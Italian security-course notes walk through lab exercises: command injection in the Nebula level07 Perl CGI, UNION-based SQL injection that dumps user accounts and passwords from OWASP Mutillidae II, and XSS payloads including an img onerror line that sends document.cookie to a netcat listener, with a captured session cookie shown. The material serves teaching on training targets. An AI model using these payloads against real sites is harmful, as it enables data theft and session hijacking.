# Remote injection

L'**iniezione remota** è una iniezione che avviene mediante un vettore di attacco remoto. Non si ha a disposizione una shell sulla macchina della vittima per l'immissione diretta dei comandi.

Sono presenti due asset

* **client**: invia richieste: i dati delle richieste contengono iniezioni per uno specifico linguaggio (SHELL, SQL...)
* **server**: riceve richieste, elabora risposte, invia risposte

Nebula07

“The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.”

*Obiettivo*: eseguire il comando **/bin/getflag** con i privilegi dell'utente **flag07**

Alcune considerazioni:

* Non si tratta di un banale attacco "login diretto";
* Non si considerano le iniezioni di variabili di ambiente;
* Ci si concentra sull'iniezione diretta di comandi

Nella directory **/home/level07** non sembrano esserci file interessanti.

In **/home/flag07** invece sono presenti file di configurazione di BASH e altri due file molto interessanti:

* 12844 -rwxr-xr-x 1 root root 368 2011-11-20 21:22 **index.cgi**:
  + non è file SETUID, contiene lo script del eseguito dal server Web
* 12846 -rw-r--r-- 1 root root 3719 2011-11-20 21:22 **thttpd.conf**
  + è un file di configurazione leggibile da tutti gli utenti e modificabile solo da **root**

Lo script **index.cgi**:

* Riceve in input:
  + da una richiesta *GET /index.cgi?Host=IP*
  + ouppure da un argomento *Host=IP* (se invocato tramite linea di comando)
* Crea uno scheletro di pagina **HTML**
* Esegue il comando **ping –c 3 IP 2>&1**
* Inserisce l'output del comando nella pagina HTML.

*Proviamo*

Il modulo Perl CGI permette l'esecuzione dello script in locale. Si può provare una iniezione locale.

Ci si autentichi come utente **level07** e si digiti il comando:

* **/home/flag07/index.cgi "Host=8.8.8.8; /bin/getflag**

Non sembra che venga eseguito il comando /bin/getflag

*Perchè*?

Cerchiamo di capire come funziona nel dettaglio la funzione **param()** di PERL.

Il carattere ' **;** ' assume un ruolo speciale nel contesto degli URL gestiti dallo standard CGI. Tramite il carattere ; si possono separare parametri (come avviene con il carattere &).

Quindi, invocando il comando: **/home/flag07/index.cgi "Host=8.8.8.8; /bin/getflag"** stiamo in realtà passando due parametri:

* *Nome*=Host *valore*=”8.8.8.8”
* *Nome*=/bin/getflag *valore*=””

Solo che lo script estrae solo il primo valore di Host (**$\_[0]**).

1. Possiamo fare escape del carattere ';'?
2. Esistono altri caratteri speciali meritevoli della stessa attenzione?

Procedura di escaping dei caratteri speciali in un URL

Dato il carattere speciale:

1. Si individua il suo codice ASCII
2. Si scrive il suo codice ASCII in esadecimale
3. Si prepende il carattere di escape **%**

*Esempio*:

URL encoding del carattere **;**

1. Codice ASCII in base10: 59
2. Codice ASCII in base16: 3B
3. Codifica URL-encoded: **%3B**

URL encoding del carattere **/**

1. Codice ASCII in base10: 47
2. Codice ASCII in base16: 2F
3. Codifica URL-encoded: **%2F**

*Soluzione*

L'URL corretto da inviare allo script index.cgi prevede l'URL encoding dei caratteri speciali (tutti!):

* **Host=8.8.8.8%3B%2Fbin%2fgetflag**

**L'iniezione ha funzionato, ma index.cgi non ha i privilegi di esecuzione di flag07**

**È necessario eseguire lo script con i privilegi dell'utente flag07**

Bisogna identificare un server Web che esegua **index.cgi** SETUID **flag07,** se questo server esiste, l'input appena usato permette l'esecuzione di **/bin/getflag** con i diritti di **flag07.**

Analisi del file di configurazione **thppd.conf**:

* **port=7007**: il server Web thttpd ascolta sulla porta TCP 7007 (si può contattare il serve Web sulla porta 7007)
* **dir=/home/flag07**: la directory radice del Web server (il Web server vede l'intero file system quindi anche il file eseguibile **/bin/getflag**)
* **nochroot**: il Web server "vede" l'intero file system dell'host
* **user=flag07**: il Web server esegue con i diritti dell'utente **flag07 (**il Web server esegue come utente flag07**).**

Per poter effettuare l'iniezione remota, occorre verificare se il Web server **thttpd** è in esecuzione sulla porta 7007**:**

* **pgrep –l thttp**
* **netstat -ntl | grep 7007**

*C'è un processo in ascolto sulla porta TCP 7007!!*

1. Spostiamoci nella home directory **/home/level07**
2. Facciamo una richiesta al web server:
   * **wget** [**http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag**](http://127.0.0.1:7007/index.cgi?Host=%3Bgetflag)
3. Nella home directory apparirà un file **index.cgi?Host=;getflag**

**You have successfully executed getflag on a target account**

# **Sql injection**

Si parla di **SQL Injection** quando un attaccante è in grado di inserire in input, una opportuna stringa o una concatenazione di comandi in una query SQL.

*Come fare*

Inviare al server una richiesta legittima, valida, non maliziosa per analizzarne la risposta.

L'invio di richieste "anomale", effettuato con l'obiettivo di scoprire malfunzionamenti nel programma, prende il nome di **fuzz testing** (o **fuzzing**). La costruzione di un attacco è sempre preceduta da una procedura di fuzz testing che individua il punto esatto dell'iniezione.

Tecniche di SQL Injection base

* Aggiungere un carattere di commento che "taglia" il resto della query (es., **--**, **#**, ...)
* Aggiungere una tautologia che rende la query sempre vera, cioè tutte le righe della tabella soddisfano la query (es., **OR 1=1**, **OR ' ' = ' '** , …)
* Aggiungere un comando (es., ; **DROP TABLE users**)

Tecniche di SQL Injection avanzate

Generalmente, attacchi multi-step che sfruttano altre keyword di SQL.

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL Injection)

#### Mutillidae II – OWASP 2017 > A1 Injection (SQL) > SQLi Extract Data > User Info (SQL)

Obiettivo: iniettare comandi SQL arbitrari tramite il form HTML.

Procedimento:

1. Creazione di input sintatticamente non corretto: test con carattere **'**
   1. Sappiamo adesso che il DBMS è **MYSQL**
2. Proviamo una tautologia banale per rendere la query sempre vera: **SELECT \* FROM accounts WHERE username=' ' OR 1=1-- ' AND password=' ’**
   1. Inserire nel campo username: **' OR 1=1 --** (attenzione allo spazio finale!)

L'iniezione SQL basata su tautologia presenta diverse limitazioni:

* Non permette di dedurre la struttura di una query SQL
* Non permette di selezionare altri campi
* Non permette di eseguire comandi arbitrari SQL

*L'operatore UNION*

L'operatore UNION unisce l'output di più query SQL "omogenee":

* stesso numero di colonne
* dati compatibili sulle stesse colonne

Idea: si può provare ad iniettare un input che trasformi la query SQL in una query UNION. Affinché la query SQL UNION risultato della iniezione funzioni, è necessario capire la struttura della tabella selezionata dallo script. Si adotta un approccio incrementale di tipo "**trial and error**".

Immettendo l'input seguente nel campo username:

* **admin' UNION SELECT 1 #** (Errore)
* **admin' UNION SELECT 1, 2 #** (Errore)
* ...
* **admin' UNION SELECT 1, 2, 3, 4, 5, 6, 7 #** (OK)

La query dell'applicazione seleziona sette campi. Sappiamo anche che sette sono i campi totali della tabella e che solo i campi 2, 3 e 4 vengono stampati.

Idea:all'interno della UNION si può provare ad iniettare una interrogazione alle funzionalità di sistema offerte da MySQL.

1. stampa il numero di versione del server MySQL in esecuzione: **version()**
   1. **admin' UNION SELECT 1, version(), 3, 4, 5, 6, 7 #**
   2. Il server è recente: MySQL 8.0.30
2. stampa lo user e l'host da cui è partita la connessione SQL: **user()**
   1. **admin' UNION SELECT 1, user(), 3, 4, 5, 6, 7 #**
   2. L'utente SQL usato dall'applicazione OWASP Mutillidae II è **root**
   3. Il database server è ospitato sullo stesso host dell'applicazione
3. stampa il nome del database usato nella connessione SQL: **database()**
   1. **admin' UNION SELECT 1, database(), 3, 4, 5, 6, 7 #**
   2. Il nome del database usato dall'applicazione è **mutillidae**.
4. Il database **information\_schema** contiene lo schema di tutti i database serviti dal server
   1. La tabella **tables** di **information\_schema** definisce la struttura di una tabella
   2. Il campo **table\_name** di **tables** contiene il nome della tabella
   3. Il campo **table\_schema** di **tables** contiene il nome del database definente la tabella
5. Si selezioni il campo **table\_name** della tabella **information\_schema.tables** dove **table\_schema** = 'mutillidae'
   1. **SELECT table\_name FROM information\_schema.tables WHERE table\_schema = 'mutillidae**
   2. Si ottengono i nomi delle tabelle contenute nel database mutillidae.
6. Si provi ad iniettare la query in una UNION tramite l'input seguente:
   1. **admin' UNION SELECT 1, table\_name, 3, 4, 5, 6, 7 FROM information\_schema.tables WHERE table\_schema = 'mutillidae' #**
   2. Il database **mutillidae** definisce 12 tabelle: *accounts, blogs\_table, captured\_data, credit\_cards, help\_texts, hitlog, level\_1\_help\_include\_files, page\_help, page\_hints, pen\_test\_tools, user\_poll\_results, youTubeVideos*
7. La tabella **columns** di **information\_schema** definisce la struttura di un campo di una tabella
   1. Il campo **column\_name** di **columns** contiene il nome del campo della tabella
8. Si selezioni il campo **column\_name** della tabella **information\_schema.columns** dove **table\_name** = 'accounts'
   1. **SELECT column\_name FROM information\_schema.columns WHERE table\_name = ’accounts’**
   2. Si ottengono i nomi dei campi contenuti nella tabella **accounts**.
9. Si provi ad iniettare la query in una UNION tramite l'input seguente:
   1. **admin' UNION SELECT 1, column\_name, 3, 4, 5, 6, 7 FROM information\_schema.columns WHERE table\_name = 'accounts' #**
   2. La tabella **accounts** contiene 11 campi totali, e non 7

Si riesce ad iniettare una query che stampi una stringa compatta con tutte le informazioni di un utente della tabella accounts?

Qualcosa tipo: *cid:is\_admin:firstname:lastname:mysignature:password:username*

La funzione **concat()** ritorna la concatenazione di più stringhe: **concat("a", ":", "b") -> "a:b".**

Si provi ad iniettare la query seguente in una UNION:

**admin' UNION SELECT 1, concat(cid, ':', is\_admin, ':', firstname, ':', lastname, ':', mysignature, ':', username, ':', password), 3, 4, 5, 6, 7 FROM accounts #**

Si ottengono le informazioni degli utenti memorizzati nella tabella **accounts**

# Cross-Site Scripting (XSS)

Cross-Site Scripting è una vulnerabilità che riguarda siti Internet e tecnologie Web, Linguaggi di scripting, e che involve più entità.

Tipologie di XSS

* **reflected:** l'input malevolo proviene dall'utente e viene utilizzato da uno script del server per generare una pagina dinamica e restituita dallo stesso browser che ha fatto la richiesta. Non prevede la memorizzazione di informazioni sul sito Web vulnerabile
* **stored:** il tipo di XSS più pericoloso. La sua pericolosità deriva dal fatto che può avere effetto su chiunque clicchi su una pagina del sito opportunamente modificata e ha una vulnerabilità a livello di browser, plugin, sistema operativo.

XSS reflected - attaccante

1. L'attaccante ha analizzato il sito Web target e ha verificato che è vulnerabile a XSS. Ad esempio, esiste uno script che non filtra in modo appropriato l'input dell'utente
2. Ha implementato uno script Javascript eseguibile dal browser che esegue un'azione specifica ogni volta che l'utente vittima va sul sito Web del target e clicca sull'URL
3. Mediante uno stratagemma (popup, link, …) convince l'utente vittima a cliccare sull'URL

XSS reflected – vittima

1. La vittima accede al sito Web target cliccando sull'URL contenente il codice malevolo
2. Il browser dell'utente vittima trasmette il codice malevolo al server-script del sito Web target come una normale richiesta
3. Il sito Web target "riflette" il codice malevolo al browser dell'utente in risposta alla richiesta

XSS stored

Molte applicazioni Web offrono funzionalità per caricare immagini, documenti (.doc, .pdf, …), dati esportati (csv, XML, …), commenti, temi e altri tipi di file.

I dati forniti all'applicazione Web da un utente sono memorizzati persistentemente sul server e poi visualizzati quando gli utenti navigano in una pagina Web quando richiesti.

Un utente malintenzionato può caricare un file con contenuti dannosi, compromettere il server rendendo vittime molti utenti.

Tipi di attacco XSS stored

* sfruttando vulnerabilità di un sito Web, l'attaccante è riuscito a spargere varie "mine", compromettendolo
* l'utente vittima entra nel sito Web compromesso
* l'utente vittima inciampa in una mina XSS
* come conseguenza, l'utente riceve un messaggio (ad esempio) in cui si notifica che la sessione è scaduta, invitandolo ad autenticarsi nuovamente
* L'utente si ri-autentica e l'attaccante
  + Entra in possesso delle credenziali di accesso
  + Può entrare in possesso delle credenziali di accesso di altri siti
  + Può leggere altre informazioni accedibili tramite browser (cronologia, lista file scaricati, ecc...)

Perché il tipo stored è più pericoloso del tipo reflected?

Perchè:

1. un attaccante può iniettare lo script una sola volta e colpire più utenti
2. gli attacchi non hanno bisogno di usare tecniche di social engineering
3. i metodi di infezione possono variare molto e un attaccante potrebbe non aver bisogno di tutte le vulnerabilità del software di client/server Web per compiere attacchi, ma solo di come è stato sviluppato (male) l'applicazione Web

Mutillidae II – OWASP 2017 > A3 Cross Site Scripting (XSS) > Reflected (First Order) > DNS Lookup

Obiettivo: iniettare statement JavaScript arbitrari tramite il form HTML.

1. Si immetta l'input seguente nel campo *Hostname/IP*: **8.8.8.8**
   1. **8.8.8.8.in-addr.arpa name = dns.google Authoritative answers can be found from**
   2. L'input viene riflesso nella pagina HTML come: **<div>Results for 8.8.8.8<div>**
2. Si immetta l'input: **<script>alert(1)</script>**
   1. Lo script viene eseguito e viene visualizzato il popup di alert con il valore 1
3. Si immetta l'input: **<script>alert(document.cookie)</script>**
   1. **document.cookie** rappresenta tutti i cookie salvati sul browser
4. Si immetta l'input: **<script>document.location = “stackoverflow.com”</script>**
   1. In questo modo l'applicazione vulnerabile viene redirezionata ad un altro URL.

Mutillidae II – OWASP 2017 > A3 Cross Site Scripting (XSS) > Persistent (Second Order) > Add to your blog

Obiettivo: iniettare statement JavaScript arbitrari tramite il form HTML

1. Il tag **img** definisce una immagine in una pagina HTML
2. L'evento **onerror** scatta quando si verifica un errore nel caricamento di un oggetto esterno. Tipicamente, un immagine.
   1. È possibile associare una funzione JavaScript all'evento
3. Si consideri il codice JavaScript seguente
   1. **<img src=x onerror = this.src = 'http://site.com/?c='+document.cookie />**

Esempio pratico: cookie stealing

* Attivare un processo server per ascoltare sulla porta 8080: **nc –lnvp 8080**
* Inserire il seguente codice nel form:
  + **<img src=# onerror = “this.src = \ 'http://192.168.56.1:8080/?c='+document.cookie” />**

Risultato:

$ nc -lvnp 8080

Ncat: Version 7.92 ( https://nmap.org/ncat )

Ncat: Listening on :::8080

Ncat: Listening on 0.0.0.0:8080

Ncat: Connection from 192.168.56.1.

Ncat: Connection from 192.168.56.1:41976.

**GET /?c=PHPSESSID=ltthed3heigm0ii89t84ovdjr7;%20showhints=1 HTTP/1.1**

Il codice malevolo ora visto, se iniettato via XSS, provoca l'invio di una richiesta HTTP ad un Web server.

L'URL della richiesta contiene i cookie dell'utente che ha caricato la pagina!

Se il Web server è sotto il controllo dell'attaccante, costui può analizzare i log e leggere i cookie.